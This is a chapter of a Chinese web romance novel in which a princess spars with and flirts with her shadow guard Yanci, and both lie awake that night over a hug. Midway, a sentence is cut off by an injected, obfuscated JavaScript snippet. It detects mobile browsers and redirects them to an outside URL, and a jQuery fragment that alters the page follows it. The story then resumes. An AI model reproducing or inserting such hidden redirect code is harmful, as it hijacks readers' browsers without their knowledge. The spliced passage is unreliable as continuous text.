砚辞定了定神,强行压下腰侧滚烫的触感与耳尖不消的红晕,原本松散的气息骤然沉凝,周身多了几分暗卫本该有的凌厉与戒备。
他不再只是被动防守、刻意留手,指尖一转,步法陡然变快,身影在昏黄灯影下幻出浅浅残影,每一招都守得密不透风。
姜悦璃眼底闪过一丝讶异,随即燃起更强的好胜心。
她脚下蹬着轻快的步子,现代格斗的灵活与这几日学的古式招式糅合在一起,左突右闪,不停寻找着突破口。
可无论她如何变招、如何诱他露出空隙,砚辞都像一堵纹丝不动的墙,防守得滴水不漏。
他的手臂始终护在身前,腰身稳如泰山,明明近在咫尺,却让她连一片衣角都碰不到。
几次扑空之后,姜悦璃微微喘了口气,额角沁出细密的薄汗,束起的长发也散落了几缕在颊边。
她不服气地抿了抿唇,再次提速冲上前,可砚辞只是侧身轻避,手腕微抬便轻描淡写卸了她的力道,连半分近身的机会都不肯再给。
自始至终,他都拿捏着分寸,不伤她半分,却也绝不再让她靠近分毫。
姜悦璃收招站定,叉着腰轻轻喘气,表面皱着眉,故作不满地哼了一声:“好啊你,方才还让着本宫,这会儿倒是认真起来了。”
可心底里,她又一次疯狂尖叫:
哇哦——认真模式的暗卫也太帅了吧!身手好绝!安全感直接拉满!
不让近身是吧?行!本宫明天继续!早晚再抱到那细腰!
砚辞见她鬓边汗湿,心头微紧,连忙收了招式,垂首立在一旁,紧绷的身形稍稍放松。
声音依旧带着未散的沙哑,恭敬却带着克制:“属下失礼,只是……怕再被殿下近身,失了规矩。”
他不敢说,方才那一抱,早已乱了他全部心神。
若是再让她靠近一次,他怕自己会失控,更怕唐突了她。
昏黄的灯光落在他低垂的长睫上,投下浅浅的阴影,耳尖那抹红还未完全褪去,藏着满心的慌乱。
姜悦璃看着他这副谨小慎微又满心无措的模样,不再逗他,挥了挥手,故作大度地扬声道:“罢了罢了,今日算你赢。”
她眯起眼,眼底的狡黠再次翻涌:
“但明天,本宫一定能再次近你的身。”
砚辞身形一僵,垂在身侧的手指又一次轻轻蜷起。
夜色静谧,晚风轻扬,他望着眼前眉眼灵动的少女,心底无声轻叹。
若是可以,他其实……一点都不想躲。
姜悦璃看着他耳尖又悄悄泛起的淡红,心头痒丝丝的,面上却故意端起公主的矜贵,转身理了理劲装衣角,长发被夜风吹得轻轻飘起。
她没再继续逗弄,只是抬眸看向廊外沉沉夜色,声音轻了些:“时辰不早了,本宫回去了,你也早些歇息。”
说完,她便转身迈步,素色身影渐渐走向殿门,脚步轻快,像一只刚偷尝了蜜糖的小浣熊。
可只有她自己知道,后背的神经都绷着,内心还在疯狂刷屏尖叫:
【他刚才耳尖又红了!又红了!!克制又纯情的暗卫也太戳我了!】
【不让近身是吧?明天我换招式!不信拿不下这极品细腰!】
【今天已经赚到了!抱也抱了摸也摸了,血赚不亏!】
砚辞立在原地,一动不动地望着她的背影消失在殿门后,直到那扇门轻轻合上,才缓缓抬起眼。
昏黄灯光落在他轮廓分明的侧脸上,方才强压下去的悸动,此刻又卷土重来,在胸腔里翻涌不息。
他缓缓抬手,指尖轻轻落在自己的腰侧。
那里仿佛还残留着她怀抱的温度,柔软、轻盈,带着淡淡的浅香,一触即乱,久久不散。
“殿下……”
他低低呢喃一声,声音轻得被晚风吹散,耳尖的红彻底漫上脸颊。
他是暗卫,守规矩、知分寸、远主上,是刻在骨血里的本能。
可方才那一抱,却让他所有的规矩,都裂了一道再也补不上的缝隙。
明天……
她说明天还要来近身。
砚辞垂在身侧的手指慢慢松开,紧绷的肩线彻底软了下来,眼底藏着连自己都未曾察觉的期待。
若是殿下真的再来……
他或许,可以不用躲得那么用力。
夜色渐深,宫苑重归寂静,只有廊下的灯影,轻轻晃动着,映着一道玄色身影,静静伫立。
姜悦璃回到寝殿,屏退了左右宫人,一头栽进柔软铺着锦缎的床榻里,抱着蓬松的云丝被滚了两圈,脸上的笑意藏都藏不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233987|197652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住。
她把脸埋进被子里闷笑几声,越想越觉得心头畅快——
方才抱到那截紧实细腰的手感、他耳尖泛红的模样、克制又慌乱的语气。
没有再多纠结,只心满意足、通体舒畅地蜷起身子,不多时便呼吸匀净,抱着被子呼呼大睡。
梦里全是砚辞耳尖泛红、手足无措的样子,嘴角还噙着一抹狡黠又满足的笑。
而宫廊之下,那道玄色身影却久久未曾离去。
砚辞守在寝殿外的暗处,心底的波澜翻涌得从未停歇。
殿内灯火一盏盏熄灭,他能清晰听见殿中公主均匀的呼吸声,知道她已然安睡,可自己却半点睡意都没有。
晚风掠过宫墙,带着夜露的微凉,却吹不散他腰侧残留的那抹柔软温度,也压不住胸腔里狂跳不止的心。
他靠在廊柱上,垂眸望着自己的指尖,方才护着她、避开她的触感还清晰无比。
一闭眼,就是殿下仰着小脸不服气的模样,是她鬓边散落的发丝,是她靠近时萦绕在鼻尖的浅香,更是她那句带着狡黠的“明天一定能再次近你的身”。
身为暗卫,恪守本分、远离主上是刻入骨血的戒律。
他本该清心寡欲,不该有半分逾矩的念想,可此刻,那些戒律都成了虚设。
心口像是被什么轻轻挠着,又麻又痒,辗转反侧,彻夜难眠。
他不敢发出半点声响,只静静立在夜色里,一遍遍地回想方才的交手,回想那猝不及防的一抱。
每回想一次,耳尖便热上一分,脸颊也渐渐泛起薄红。
指尖无意识地摩挲着腰侧,那里仿佛还印着她的温度,滚烫得让他心神失守。
殿内安安稳稳,一夜好眠;殿外孤影伫立,一夜无眠。
天边渐渐泛起鱼肚白,晨雾漫入宫苑,砚辞才缓缓抬眼,望向紧闭的殿门。
昨夜乱了的心神,到此刻依旧未平。
他轻轻吸了口气,压下翻涌的情愫,重新挺直脊背,恢复了暗卫该有的冷峻模样。
可只有他自己知道,心底那道因她裂开的缝隙,正悄悄漫进温柔的光,再也堵不住了。
只等着天光大亮,等着她再次笑着冲过来,等着那句兑现的“近身”。
这一次,他或许,真的不会再躲了。